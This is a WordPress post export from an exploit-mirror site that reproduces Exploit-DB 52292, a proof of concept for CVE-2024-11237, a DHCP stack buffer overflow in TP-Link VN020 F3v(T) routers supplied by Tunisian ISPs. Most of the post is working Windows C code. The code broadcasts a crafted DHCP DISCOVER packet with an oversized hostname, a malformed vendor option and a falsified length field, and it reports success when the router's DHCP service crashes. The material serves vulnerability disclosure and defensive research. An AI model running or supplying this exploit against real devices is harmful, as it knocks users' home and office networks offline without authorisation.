{"id":4185,"date":"2025-05-13T09:34:11","date_gmt":"2025-05-13T09:34:11","guid":{"rendered":"http:\/\/localhost\/?p=4185"},"modified":"2025-05-13T09:34:11","modified_gmt":"2025-05-13T09:34:11","slug":"tp-link-vn020-f3vt-ttv621021-dhcp-stack-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=4185","title":{"rendered":"TP-Link VN020 F3v(T) TT_V6.2.1021) &#8211; DHCP Stack Buffer Overflow"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">TP-Link VN020 F3v(T) TT_V6.2.1021) &#8211; DHCP Stack Buffer Overflow<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52292<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-13T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-13T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">8.7<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:N\/SC:N\/VI:N\/SI:N\/VA:H\/SA:N<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-11237<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n\/  * Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) &#8211; DHCP Stack Buffer Overflow  * Date: 10\/20\/2024  * Exploit Author: Mohamed&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n\/*<br \/>\n<br \/> * Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021) &#8211; DHCP Stack Buffer Overflow<br \/>\n<br \/> * Date: 10\/20\/2024<br \/>\n<br \/> * Exploit Author: Mohamed Maatallah<br \/>\n<br \/> * Vendor Homepage: https:\/\/www.tp-link.com<br \/>\n<br \/> * Version: TT_V6.2.1021 (VN020-F3v(T))<br \/>\n<br \/> * Tested on: VN020-F3v(T) Router (Hardware Version 1.0)<br \/>\n<br \/> * CVE: CVE-2024-11237<br \/>\n<br \/> * Category: Remote<\/p>\n<p> * Technical Details:<br \/>\n<br \/> * &#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n<br \/> * &#8211; Triggers multiple memory corruption vectors in DHCP parsing<br \/>\n<br \/> * &#8211; Primary vector: Stack overflow via oversized hostname (127 bytes)<br \/>\n<br \/> * &#8211; Secondary vector: Parser confusion via malformed length fields<br \/>\n<br \/> * &#8211; Tertiary vector: Vendor specific option parsing edge case<br \/>\n<br \/> *<br \/>\n<br \/> * Attack Surface:<br \/>\n<br \/> * &#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n<br \/> * &#8211; DHCP service running on port 67<br \/>\n<br \/> * &#8211; Processes broadcast DISCOVER packets<br \/>\n<br \/> * &#8211; No authentication required<br \/>\n<br \/> * &#8211; Affects all routers running VN020 F3v(t) specifically the ones<br \/>\n<br \/> *   supplied by Tunisie Telecom &#038; Topnet<br \/>\n<br \/> *<br \/>\n<br \/> * Exploitation Method:<br \/>\n<br \/> * &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\n<br \/> * 1. Sends crafted DHCP DISCOVER packet<br \/>\n<br \/> * 2. Overflows hostname buffer (64 -> 127 bytes)<br \/>\n<br \/> * 3. Corrupts length fields in DHCP options<br \/>\n<br \/> * 4. Success = No response (service crash)<br \/>\n<br \/> *<br \/>\n<br \/> * Build:<br \/>\n<br \/> * &#8212;&#8212;<br \/>\n<br \/> * Windows: cl poc.c \/o tplink_dhcp.exe or use visual studio directly.<br \/>\n<br \/> *<br \/>\n<br \/> * Usage:<br \/>\n<br \/> * &#8212;&#8212;<br \/>\n<br \/> * tplink_dhcp.exe<\/p>\n<p>#define _WINSOCK_DEPRECATED_NO_WARNINGS<br \/>\n<br \/>#include <Ws2tcpip.h><br \/>\n<br \/>#include <stdio.h><br \/>\n<br \/>#include <stdlib.h><br \/>\n<br \/>#include <string.h><br \/>\n<br \/>#include <time.h><br \/>\n<br \/>#include <winsock2.h><\/p>\n<p>#pragma comment(lib, &#8220;ws2_32.lib&#8221;)<\/p>\n<p>\/\/ Standard DHCP ports &#8211; Server listens on 67, clients send from 68<br \/>\n<br \/>#define DHCP_SERVER_PORT 67<br \/>\n<br \/>#define DHCP_CLIENT_PORT 68<br \/>\n<br \/>#define MAX_PACKET_SIZE 1024  \/\/ Maximum size for DHCP packet<br \/>\n<br \/>#define MAX_ATTEMPTS 3       <\/p>\n<p>\/\/ Forward declarations of functions<br \/>\n<br \/>void create_dhcp_discover_packet(unsigned char* packet, int* packet_length);<br \/>\n<br \/>void add_option(unsigned char* packet, int* offset, unsigned char option,<br \/>\n<br \/>    unsigned char length, unsigned char* data);<br \/>\n<br \/>void tp_link(unsigned char* packet, int* offset);<br \/>\n<br \/>void print_packet_hex(unsigned char* packet, int length);<br \/>\n<br \/>int wait_for_response(SOCKET sock, int timeout);<\/p>\n<p>int main() {<br \/>\n<br \/>    WSADATA wsa;<br \/>\n<br \/>    SOCKET sock;<br \/>\n<br \/>    struct sockaddr_in dest;<br \/>\n<br \/>    unsigned char packet[MAX_PACKET_SIZE];  \/\/ Buffer for DHCP packet<br \/>\n<br \/>    int packet_length = 0;                  \/\/ Length of constructed packet<br \/>\n<br \/>    int attempts = 0;                       \/\/ Counter for send attempts<br \/>\n<br \/>    int success = 0;<\/p>\n<p>    printf(&#8220;[TP-Thumper] Initializing Winsock&#8230;\\n&#8221;);<br \/>\n<br \/>    if (WSAStartup(MAKEWORD(2, 2), &#038;wsa) != 0) {<br \/>\n<br \/>        printf(&#8220;[TP-Thumper] Winsock initialization failed. Error: %d\\n&#8221;,<br \/>\n<br \/>            WSAGetLastError());<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);<br \/>\n<br \/>    if (sock == INVALID_SOCKET) {<br \/>\n<br \/>        printf(&#8220;[TP-Thumper] Could not create socket. Error: %d\\n&#8221;,<br \/>\n<br \/>            WSAGetLastError());<br \/>\n<br \/>        WSACleanup();<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    \/\/ Set up broadcast address (255.255.255.255)<br \/>\n<br \/>    dest.sin_family = AF_INET;<br \/>\n<br \/>    dest.sin_port = htons(DHCP_SERVER_PORT);<br \/>\n<br \/>    dest.sin_addr.s_addr = inet_addr(&#8220;255.255.255.255&#8221;);<\/p>\n<p>    \/\/ Enable broadcast mode on socket<br \/>\n<br \/>    BOOL broadcast = TRUE;<br \/>\n<br \/>    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&#038;broadcast,<br \/>\n<br \/>        sizeof(broadcast)) < 0) {\n<br \/>        printf(&#8220;[TP-Thumper] Broadcast mode failed.\\n&#8221;);<br \/>\n<br \/>        closesocket(sock);<br \/>\n<br \/>        WSACleanup();<br \/>\n<br \/>        return 1;<br \/>\n<br \/>    }<\/p>\n<p>    srand((unsigned int)time(NULL));<\/p>\n<p>    \/\/ Create the DHCP DISCOVER packet<br \/>\n<br \/>    create_dhcp_discover_packet(packet, &#038;packet_length);<\/p>\n<p>    \/\/ Main attempt loop &#8211; tries to send packet MAX_ATTEMPTS times<br \/>\n<br \/>    while (attempts < MAX_ATTEMPTS &#038;&#038; !success) {\n<br \/>        printf(&#8220;[TP-Thumper] Sending DHCP Discover packet (Attempt %d\/%d)&#8230;\\n&#8221;,<br \/>\n<br \/>            attempts + 1, MAX_ATTEMPTS);<br \/>\n<br \/>        print_packet_hex(packet, packet_length);  \/\/debug<\/p>\n<p>        \/\/ Send the packet<br \/>\n<br \/>        if (sendto(sock, (char*)packet, packet_length, 0, (struct sockaddr*)&#038;dest,<br \/>\n<br \/>            sizeof(dest)) < 0) {\n<br \/>            printf(&#8220;[TP-Thumper] Packet send failed. Error: %d\\n&#8221;, WSAGetLastError());<br \/>\n<br \/>        }<br \/>\n<br \/>        else {<br \/>\n<br \/>            printf(&#8220;[TP-Thumper] Packet sent. Waiting for router response&#8230;\\n&#8221;);<br \/>\n<br \/>            if (wait_for_response(sock, 10)) {<br \/>\n<br \/>                printf(<br \/>\n<br \/>                    &#8220;[TP-Thumper] Router responded! Exploit may not have succeeded.\\n&#8221;);<br \/>\n<br \/>                success = 1;<br \/>\n<br \/>            }<br \/>\n<br \/>            else {<br \/>\n<br \/>                printf(&#8220;[TP-Thumper] No response received within timeout.\\n&#8221;);<br \/>\n<br \/>            }<br \/>\n<br \/>        }<br \/>\n<br \/>        attempts++;<br \/>\n<br \/>    }<br \/>\n<br \/>    if (!success) {<br \/>\n<br \/>        printf(<br \/>\n<br \/>            &#8220;[TP-Thumper] Exploit succeeded: No router response after %d &#8221;<br \/>\n<br \/>            &#8220;attempts.\\n&#8221;,<br \/>\n<br \/>            MAX_ATTEMPTS);<br \/>\n<br \/>    }<br \/>\n<br \/>    else {<br \/>\n<br \/>        printf(&#8220;[TP-Thumper] Exploit failed: Router responded within timeout.\\n&#8221;);<br \/>\n<br \/>    }<\/p>\n<p>    \/\/ Cleanup<br \/>\n<br \/>    closesocket(sock);<br \/>\n<br \/>    WSACleanup();<br \/>\n<br \/>    return 0;<br \/>\n<br \/>}<br \/>\n<br \/>\/*<br \/>\n<br \/> * DHCP Message Format:<br \/>\n<br \/> * [0x00]: op      = 0x01        ; BOOTREQUEST<br \/>\n<br \/> * [0x01]: htype   = 0x01        ; Ethernet<br \/>\n<br \/> * [0x02]: hlen    = 0x06        ; MAC addr len<br \/>\n<br \/> * [0x03]: hops    = 0x00        ; No relay<br \/>\n<br \/> * [0x04-0x07]: xid             ; Random transaction ID<br \/>\n<br \/> * [0x08-0x0F]: secs + flags    ; Broadcast flags set<br \/>\n<br \/> * [0x10-0x1F]: ciaddr + yiaddr ; Empty<br \/>\n<br \/> * [0x20-0x27]: siaddr + giaddr ; Empty<br \/>\n<br \/> * [0x28-0x2D]: chaddr         ; Crafted MAC<br \/>\n<br \/> *\/<\/p>\n<p>void create_dhcp_discover_packet(unsigned char* packet, int* packet_length) {<br \/>\n<br \/>    memset(packet, 0, MAX_PACKET_SIZE);<br \/>\n<br \/>    int offset = 0;<\/p>\n<p>    \/\/ DHCP Header &#8211; Standard fields<br \/>\n<br \/>    packet[offset++] = 0x01;  \/\/ BOOTREQUEST<br \/>\n<br \/>    packet[offset++] = 0x01;  \/\/ Ethernet<br \/>\n<br \/>    packet[offset++] = 0x06;  \/\/ MAC len<br \/>\n<br \/>    packet[offset++] = 0x00;  \/\/ No hops<\/p>\n<p>    \/\/ ; XID &#8211; rand() used for bypass of response filtering<br \/>\n<br \/>    \/\/ ; mov eax, rand()<br \/>\n<br \/>    \/\/ ; mov [packet + 4], eax<br \/>\n<br \/>    unsigned int xid = (unsigned int)rand();<br \/>\n<br \/>    *((unsigned int*)&#038;packet[offset]) = htonl(xid);<br \/>\n<br \/>    offset += 4;<\/p>\n<p>    \/\/ ; Flags &#8211; Set broadcast bit to force response<br \/>\n<br \/>    \/\/ ; mov word [packet + 8], 0x0000  ; secs elapsed<br \/>\n<br \/>    \/\/ ; mov word [packet + 10], 0x8000  ; broadcast flag<br \/>\n<br \/>    packet[offset++] = 0x00;<br \/>\n<br \/>    packet[offset++] = 0x00;<br \/>\n<br \/>    packet[offset++] = 0x80;<br \/>\n<br \/>    packet[offset++] = 0x00;<\/p>\n<p>    \/\/ Zero IP fields &#8211; forces DHCP server parse<br \/>\n<br \/>    memset(&#038;packet[offset], 0, 16);<br \/>\n<br \/>    offset += 16;<\/p>\n<p>    \/\/ ; Crafted MAC &#8211; DE:AD:BE:EF:00:01<br \/>\n<br \/>    \/\/ ; Used for unique client tracking, bypasses MAC filters<br \/>\n<br \/>    packet[offset++] = 0xDE;<br \/>\n<br \/>    packet[offset++] = 0xAD;<br \/>\n<br \/>    packet[offset++] = 0xBE;<br \/>\n<br \/>    packet[offset++] = 0xEF;<br \/>\n<br \/>    packet[offset++] = 0x00;<br \/>\n<br \/>    packet[offset++] = 0x01;<br \/>\n<br \/>    memset(&#038;packet[offset], 0x00, 10);<br \/>\n<br \/>    offset += 10;<\/p>\n<p>    \/\/ ; Skip server name\/boot filename<br \/>\n<br \/>    \/\/ ; Total padding: 192 bytes<br \/>\n<br \/>    memset(&#038;packet[offset], 0x00, 64);<br \/>\n<br \/>    offset += 64;<br \/>\n<br \/>    memset(&#038;packet[offset], 0x00, 128);<br \/>\n<br \/>    offset += 128;<\/p>\n<p>    \/\/ ; DHCP Magic Cookie<br \/>\n<br \/>    \/\/ ; 0x63825363 = DHCP in natural order<br \/>\n<br \/>    packet[offset++] = 0x63;<br \/>\n<br \/>    packet[offset++] = 0x82;<br \/>\n<br \/>    packet[offset++] = 0x53;<br \/>\n<br \/>    packet[offset++] = 0x63;<\/p>\n<p>    \/\/ ; Stack layout after this point:<br \/>\n<br \/>    \/\/ ; [ebp+0] = DHCP header<br \/>\n<br \/>    \/\/ ; [ebp+240] = DHCP options start<br \/>\n<br \/>    \/\/ ; Router parses sequentially from this point<br \/>\n<br \/>    add_option(packet, &#038;offset, 0x35, 0x01, (unsigned char[]) { 0x01 });<br \/>\n<br \/>    add_option(packet, &#038;offset, 0x37, 4,<br \/>\n<br \/>        (unsigned char[]) {<br \/>\n<br \/>        0x01, 0x03, 0x06, 0x0F<br \/>\n<br \/>    });<\/p>\n<p>    \/\/ ; Trigger overflow conditions<br \/>\n<br \/>    tp_link(packet, &#038;offset);<\/p>\n<p>    packet[offset++] = 0xFF;  \/\/ End option<br \/>\n<br \/>    *packet_length = offset;<br \/>\n<br \/>}<\/p>\n<p>void tp_link(unsigned char* packet, int* offset) {<br \/>\n<br \/>    \/\/ ; Vendor specific overflow &#8211; triggers parser state confusion<br \/>\n<br \/>    \/\/ ; 0x00,0x14,0x22 = TP-Link vendor prefix<br \/>\n<br \/>    \/\/ ; Following 0xFF bytes cause length validation bypass<br \/>\n<br \/>    unsigned char vendor_specific[] = { 0x00, 0x14, 0x22, 0xFF, 0xFF, 0xFF };<br \/>\n<br \/>    add_option(packet, offset, 0x2B, sizeof(vendor_specific), vendor_specific);<\/p>\n<p>    \/\/ ; Stack buffer overflow via hostname<br \/>\n<br \/>    \/\/ ; Router allocates 64-byte buffer but we send 127<br \/>\n<br \/>    \/\/ ; Overwrites adjacent stack frame<br \/>\n<br \/>    unsigned char long_hostname[128];<br \/>\n<br \/>    memset(long_hostname, &#8216;A&#8217;, sizeof(long_hostname) &#8211; 1);<br \/>\n<br \/>    long_hostname[127] = &#8216;\\0&#8217;;<br \/>\n<br \/>    add_option(packet, offset, 0x0C, 127, long_hostname);<\/p>\n<p>    \/\/ ; Length field exploit<br \/>\n<br \/>    \/\/ ; Claims 255 bytes but only sends 1<br \/>\n<br \/>    \/\/ ; Router assumes full length during memory operations<br \/>\n<br \/>    \/\/ ; leads to read\/write past buffer<br \/>\n<br \/>    add_option(packet, offset, 0x3D, 0xFF, (unsigned char[]) { 0x01 });<br \/>\n<br \/>}<\/p>\n<p>\/\/ ; Helper for DHCP option construction<br \/>\n<br \/>\/\/ ; option = option code<br \/>\n<br \/>\/\/ ; length = claimed length (can be falsified)<br \/>\n<br \/>\/\/ ; data = actual payload<\/p>\n<p>void add_option(unsigned char* packet, int* offset, unsigned char option,<br \/>\n<br \/>    unsigned char length, unsigned char* data) {<br \/>\n<br \/>    packet[(*offset)++] = option;  \/\/ Option type<br \/>\n<br \/>    packet[(*offset)++] = length;  \/\/ Claimed length<br \/>\n<br \/>    memcpy(&#038;packet[*offset], data, length);<br \/>\n<br \/>    *offset += length;<br \/>\n<br \/>}<\/p>\n<p>\/\/ Debug<br \/>\n<br \/>void print_packet_hex(unsigned char* packet, int length) {<br \/>\n<br \/>    printf(&#8220;[TP-Thumper] Packet Hex Dump:\\n&#8221;);<\/p>\n<p>    \/\/ Print header fields with labels<br \/>\n<br \/>    printf(&#8220;Opcode (op): %02X\\n&#8221;, packet[0]);<br \/>\n<br \/>    printf(&#8220;Hardware Type (htype): %02X\\n&#8221;, packet[1]);<br \/>\n<br \/>    printf(&#8220;Hardware Address Length (hlen): %02X\\n&#8221;, packet[2]);<br \/>\n<br \/>    printf(&#8220;Hops: %02X\\n&#8221;, packet[3]);<\/p>\n<p>    \/\/ Transaction ID<br \/>\n<br \/>    printf(&#8220;Transaction ID (xid): &#8220;);<br \/>\n<br \/>    for (int i = 4; i < 8; i++) {\n<br \/>        printf(&#8220;%02X &#8220;, packet[i]);<br \/>\n<br \/>    }<br \/>\n<br \/>    printf(&#8220;\\n&#8221;);<\/p>\n<p>    \/\/ Flags<br \/>\n<br \/>    printf(&#8220;Flags: &#8220;);<br \/>\n<br \/>    for (int i = 10; i < 12; i++) {\n<br \/>        printf(&#8220;%02X &#8220;, packet[i]);<br \/>\n<br \/>    }<br \/>\n<br \/>    printf(&#8220;\\n&#8221;);<\/p>\n<p>    \/\/ Client Hardware Address (MAC)<br \/>\n<br \/>    printf(&#8220;Client Hardware Address (chaddr): &#8220;);<br \/>\n<br \/>    for (int i = 28; i < 34; i++) {\n<br \/>        printf(&#8220;%02X &#8220;, packet[i]);<br \/>\n<br \/>    }<br \/>\n<br \/>    printf(&#8220;\\n&#8221;);<\/p>\n<p>    \/\/ DHCP Magic Cookie<br \/>\n<br \/>    printf(&#8220;Magic Cookie: &#8220;);<br \/>\n<br \/>    for (int i = 236; i < 240; i++) {\n<br \/>        printf(&#8220;%02X &#8220;, packet[i]);<br \/>\n<br \/>    }<br \/>\n<br \/>    printf(&#8220;\\n&#8221;);<\/p>\n<p>    \/\/ DHCP Options<br \/>\n<br \/>    printf(&#8220;DHCP Options:\\n&#8221;);<br \/>\n<br \/>    int i = 240;<br \/>\n<br \/>    while (i < length) {\n<br \/>        printf(&#8221;  Option: %02X, Length: %02X, Data: &#8220;, packet[i], packet[i + 1]);<br \/>\n<br \/>        int option_length = packet[i + 1];<br \/>\n<br \/>        for (int j = 0; j < option_length; j++) {\n<br \/>            printf(&#8220;%02X &#8220;, packet[i + 2 + j]);<br \/>\n<br \/>        }<br \/>\n<br \/>        printf(&#8220;\\n&#8221;);<br \/>\n<br \/>        i += 2 + option_length;<br \/>\n<br \/>        if (packet[i] == 0xFF) {<br \/>\n<br \/>            printf(&#8221;  End of Options\\n&#8221;);<br \/>\n<br \/>            break;<br \/>\n<br \/>        }<br \/>\n<br \/>    }<br \/>\n<br \/>}<\/p>\n<p>\/\/ Wait for router response with timeout<br \/>\n<br \/>int wait_for_response(SOCKET sock, int timeout) {<br \/>\n<br \/>    struct timeval tv;<br \/>\n<br \/>    tv.tv_sec = timeout;<br \/>\n<br \/>    tv.tv_usec = 0;<\/p>\n<p>    \/\/ Set up file descriptor set for select()<br \/>\n<br \/>    fd_set readfds;<br \/>\n<br \/>    FD_ZERO(&#038;readfds);<br \/>\n<br \/>    FD_SET(sock, &#038;readfds);<\/p>\n<p>    \/\/ Wait for data or timeout<br \/>\n<br \/>    int result = select(0, &#038;readfds, NULL, NULL, &#038;tv);<br \/>\n<br \/>    return result > 0;  \/\/ Returns true if data available<br \/>\n<br \/>}\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52292\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title TP-Link VN020 F3v(T) TT_V6.2.1021) &#8211; DHCP Stack Buffer Overflow Exploit ID EDB-ID:52292 Type exploitdb Published 2025-05-13T00:00:00 Modified 2025-05-13T00:00:00 CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,19,12,40,15,13,7,11,5],"class_list":["post-4185","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-87","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=4185\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"TP-Link VN020 F3v(T) TT_V6.2.1021) - DHCP Stack Buffer Overflow - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title TP-Link VN020 F3v(T) TT_V6.2.1021) &#8211; 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